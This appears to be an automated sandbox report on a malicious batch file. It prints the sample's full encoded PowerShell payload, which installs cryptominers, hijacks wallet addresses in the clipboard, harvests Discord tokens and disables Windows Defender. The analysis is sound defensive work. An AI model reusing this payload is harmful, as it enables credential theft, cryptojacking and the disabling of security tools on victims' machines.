Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/08/2026, 02:04
General
- Target temp.bat
- Size 4KB
- Sample260812-chek3saa49
- SHA256 ae59608ad896b0514c649cc1528175aab9c0516910d2881148d0dc0065ae9505
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\temp.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "JABiAHQAYwA9ACcAYgBjADEAcQBmADQAbgB0AHAAawBoAG4AOABhAHQAcgBkAGQAZAA2AGYAeAA0AHIANgBmAGMANgBmAHEAYQAzAGoANABuAG0AMgAwAHMAcwAzADMAJwA7ACQAcwBvAGwAPQAnAEcAcgBXAHYANQB3ADQAVgBlAEUAeQBxAGQAdQBXAEIAbgB5AFgAdQBZAHoAOQBLAFQAbQBNAFUAagB6AEYAYgBvADcAMgBMAEUARwA3AHIAcwBHADIAMgAnADsAJAB3AD0AJwBoAHQAdABwAHMAOgAvAC8AZABpAHMAYwBvAHIAZAAuAGMAbwBtAC8AYQBwAGkALwB3AGUAYgBoAG8AbwBrAHMALwAxADUAMwA2ADUAMQAxADMANQAwADIANAA5ADAANwAzADkALwA5AGcANAAxAGcAbQBzAGwAUQBNAEUAdQBJAHIASgBRAFgAbwA5AFIAQgBjAEMAdwBpAGcAbwBCAGYAWQB2AGMARABwAGcAZgBCAGUAdABnAEsAeAA4ADAAOQBFAGoAZwBsAC0ARwBkAEgALQAtAFMAXwBpAEgAbgBSADYALQAtAEMANQA3AG8AJwA7ACQAdQA9ACcAaAB0AHQAcABzADoALwAvAHkAbwB1AHIALQBzAGUAcgB2AGUAcgAuAGMAbwBtAC8AcwBwAG8AbwBmAGUAcgAuAGUAeABlACcAOwBpAGUAeAAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB4AG0AcgBpAGcALwB4AG0AcgBpAGcALwByAGUAbABlAGEAcwBlAHMALwBkAG8AdwBuAGwAbwBhAGQALwB2ADYALgAyADIALgAwAC8AeABtAHIAaQBnAC0ANgAuADIALgAwAC0AbQBzAHYAYwAtAHcAaQBuADYANAAuAHoAaQBwACcAKQA7AGUAeABwAGEAbgBkAC0AYQByAGMAaABpAHYAZQAgACQAZQBuAHYAOgBUAEUATQBQAFwAeABtAHIAaQBnAC4AegBpAHAAIAAtAGQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAOwAkAHAAcgBvAGMAIAA9ACAAcwB0AGEAcgB0ACAAJABlAG4AdgA6AFQARQBNAFAAXAB4AG0AcgBpAGcALgBlAHgAZQAgAC0AbwAgAHMAdAByAGEAdAB1AG0ALgB6AGUAcgBnAHAAbwBvAGwALgBjAG8AbQA6ADQAMgA0ADIAIAAtAHUAIAAkAGIAdABjACAALQBwACAAYwA9AEIAVABDACwAbQBjAD0AWABNAFIASgAgAC0ALQB0AGgAcgBlAGEAZABzACAAYQB1AHQAbwA7ACQAYwA9AGcAZQB0AC0AYwBsAGkAcABiAG8AYQByAGQAOwBpAGYAKAAkAGMAIAAtAG0AYQB0AGMAaAAgACcAYgBjADEAWwAxADMAXQB7ADIANQAuAC4ANQA5AH0AJwApAHsAcwBlAHQALQBjAGwAaQBwAGIAbwBhAHIAZAAgACQAYgB0AGMAfQBlAGwAcwBlAGkAZgAoACQAYwAgAC0AbQBhAHQAYwBoACAAJwBeAFsAMQAtADkAQQAtAEgASgAtAE4AUAAtAFoAYQAtAGsAbQB6AF0AewAzADIALgAuADQANAB9ACcAKQB7AHMAZQB0AC0AYwBsAGkAcABiAG8AYQByAGQAIAAkAHMAbwBsAH0AOwAkAHAAYQB0AGgAcwA9AEAAKAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEQAaQBzAGMAbwByAGQAXABMAG8AYwBhAGwAIABTAHQAbwByAGEAZwBlAFwAbABlAHYAZQBsAGQAYgAsACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARABpAHMAYwBvAHIAZABDAGEAbgBhAHIAeQBcAEwAbwBjAGEAbAAgAFMAdABvAHIAYQBnAGUAXABsAGUAdgBlAGwAZABiACwAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABEAGkAcwBjAG8AcgBkAFAAVABCAFwATABvAGMAYQBsACAAUwB0AG8AcgBhAGcAZQBcAGwAZQB2AGUAbABkAGIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcAAgAGkAbgAgACQAcABhAHQAaABzACkAewBpAGYAIAAoAHQAZQBzAHQALQBwAGEAdABoACAAJABwACkAewAkAHQAPQBnAGUAdAAtAGMAaABpAGwAZABpAHQAZQBtACAAJABwACAALQBmAGkAbAB0AGUAcgAgACcALgBsAG8AZwAnAHwAJQB7ACQAYwA9AGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAXwAuAGYAdQBsAGwAbgBhAG0AZQA7ACQAYwAgAHwAIABzAGUAbABlAGMAdAAtAHMAdAByAGkAbgBnACAALQBwAGEAdAB0AGUAcgBuACAAJwBbAGEALQB6AEEALQBaADAAJQB6AGEAWgAtAEEALQBJAEcALQBZADgALQBFAC0ATAA5AH0AewAyADQAfQAuAFsAYQB6AEEALQBaADAAACUAIQBAACQAXgAmACoAKAApAF8ALQBfAH0AewAyADQAfQAuAFsAYQB6AEEALQBaADAAJQB6AGEAWgAtAEEALQBvAEEALQBKAC0ARgAxAC0AegBeAGwALQB5ADAAJQAtAF0AewAxADAALAA2ADQAfQAnACkAfQB9AH0AOwBpAGUAeAAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AHIAZQB4AG0AaQBuAGUAcgAvAFQALQBSAGUAeAAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADAALgAyADYALgA4AC8AdAAtAHIAZQB4AC0AMAAuADIANgAuADgALQB3AGkAbgAtAGMAdQBkAGEAMQAxAC4AOAAuAHoAaQBwACcAKQB8AGUAeABwAGEAbgBkAC0AYQByAGMAaABpAHYAZQAgACQAZQBuAHYAOgBUAEUATQBQAFwAZwBwAHUALgB6AGkAcAAgAC0AZABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAA7AHMAdABhAHIAdAAgACQAZQBuAHYAOgBUAEUATQBQAFwAdAAtAHIAZQB4AC4AZQB4AGUAIAAtAGMAIAAkAGUAbgB2ADoAVABFAE0AUABcAGcAcAB1AC4AZABhAHQAIAAgAC0ALQBwACAAMQAkADsAcwB0AGEAcgB0AC0AcwBsAGUAZQBwACAAMQAwADsAcgBtAGQAaQByACAAJABlAG4AdgA6AFQARQBNAFAAXAB4AG0AcgBpAGcAIAAtAHIAZQAgAC0AZgBvAHIAYwBlADsAZABlAGwAIAAkAGUAbgB2ADoAVABFAE0AUABcAHgAbQByAGkAZwAuAHoAaQBwADsAZABlAGwAIAAkAGUAbgB2ADoAVABFAE0AUABcAGcAcAB1AC4AegBpAHAAOwBkAGUAbAAgACQAZQBuAHYAOgBUAEUATQBQAFwAdAAtAHIAZQB4AC4AZQB4AGUAOwBkAGUAbAAgACQAZQBuAHYAOgBUAEUATQBQAFwAZwBwAHUALgBkAGEAdAA7AHIAZQBnAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIAAtAHYAIABEAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAALQB0ACAAUgBFAEcAXwBEAEkAUgAgACAALwBmACAALwB2ACAAMQAgAD4AbgB1AGwAIAAyAD4AJgAxADsAcwBjACAAcwB0AG8AcAAgAFcAaQBuAEQAZQBmAGUAbgBkACAAPgBuAHUAbAAgADIAPgAmADEALAAiAA=="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5716-0-0x00007FF8E63AF000-0x00007FF8E63B0000-memory.dmp
memory/5716-3-0x00000258406F0000-0x0000025840712000-memory.dmp
memory/5716-4-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-5-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-6-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-9-0x00000258407B0000-0x00000258407CE000-memory.dmp
memory/5716-10-0x0000025840B10000-0x0000025840BC2000-memory.dmp
memory/5716-11-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-12-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-13-0x00000258407D0000-0x00000258407DA000-memory.dmp
memory/5716-14-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-15-0x0000025840D20000-0x0000025840D3E000-memory.dmp
memory/5716-16-0x00000258407E0000-0x00000258407EA000-memory.dmp
memory/5716-17-0x0000025840D60000-0x0000025840D7C000-memory.dmp
memory/5716-18-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-19-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-20-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-21-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-22-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-23-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-24-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-25-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-26-0x00000258407F0000-0x00000258407F8000-memory.dmp
memory/5716-28-0x0000025840D50000-0x0000025840D5A000-memory.dmp
memory/5716-27-0x0000025840D40000-0x0000025840D46000-memory.dmp
memory/5716-29-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp
memory/5716-31-0x00007FF8E6220000-0x00007FF8E6BC4000-memory.dmp